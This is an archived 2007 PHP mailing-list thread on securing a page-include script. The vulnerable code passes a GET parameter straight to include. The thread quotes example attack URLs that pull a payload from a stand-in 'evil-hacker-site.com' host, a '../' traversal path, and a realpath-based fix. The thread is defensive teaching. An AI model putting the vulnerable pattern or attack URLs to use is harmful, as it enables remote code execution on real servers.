Re: file_exists

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Instruct ICC wrote:


Date: Thu, 15 Nov 2007 13:16:46 +0000
From: stuttle@xxxxxxxxx
To: instructicc@xxxxxxxxxxx
CC: php-general@xxxxxxxxxxxxx
Subject: Re:  file_exists

Instruct ICC wrote:

Date: Thu, 15 Nov 2007 00:20:52 +0000
From: stuttle@xxxxxxxxx
To: philthathril@xxxxxxxxx
CC: php-general@xxxxxxxxxxxxx
Subject: Re:  file_exists

Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....

$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still can't
see a problem let me know!

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Called like this?

index.php?page=http://evil-hacker-site.com/evil-payload.php

And the browser will probably url_encode for me if needed.
Actually in this example that would end up getting evil-payload.php.php - probably not what your evil mind wanted. You could do this...

index.php?page=http://evil-hacker-site.com/evil-payload

...assuming you know it's gonna stick .php on the end. Alternatively you could do this...

index.php?page=http://evil-hacker-site.com/evil-payload.php?

Resulting in the appended .php being in the querystring. The easiest way to protect your code from this is to always always prefix the string with something as well as appending to it. For example...

$page = dirname(__FILE__).'/'.$_GET['page'].'.php';
if (file_exists ($page)) {
     include ($page);
}

But that doesn't prevent a malicious user including any PHP file on your server. $_GET['page'] should be one of a known set of values. At the very least it should be restricted to file in a particular directory.

Something like the following would be much better (untested)...

$page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
$expecteddir = realpath(dirname(__FILE__).'/inc');
if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
{
     // Ideally return a 403 status here
     die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
     include($page);
}
else
{
     // Return a 404 status here
     die('Resource not found');
}

That should lock the requested page to the given directory. If anyone can see any way around that I'd be interested in hearing about it.

-Stut

--
http://stut.net/

Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"

Maybe a switch statement that only uses the file name supplied by the script (whether or not an unknown user supplies an actual file name.  I just did something like that today.  I have a custom "ls" type PHP script and I want it to search 1 of 2 directories only.  I check if the GET var is set; don't even look at the value, then do a custom "ls" on 1 or the other directory which is in the web path.  The whole site is behind htaccess though, but I added this layer for this special "ls" function.

No, you've missed the point. $expecteddir is a fixed variable that you, the script author, specify. It does not contain anything coming from external veriables. You then compare the full path you build from the external variables to $expecteddir to verify that the file is in the right directory.

I suggest you read the code I posted again.

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux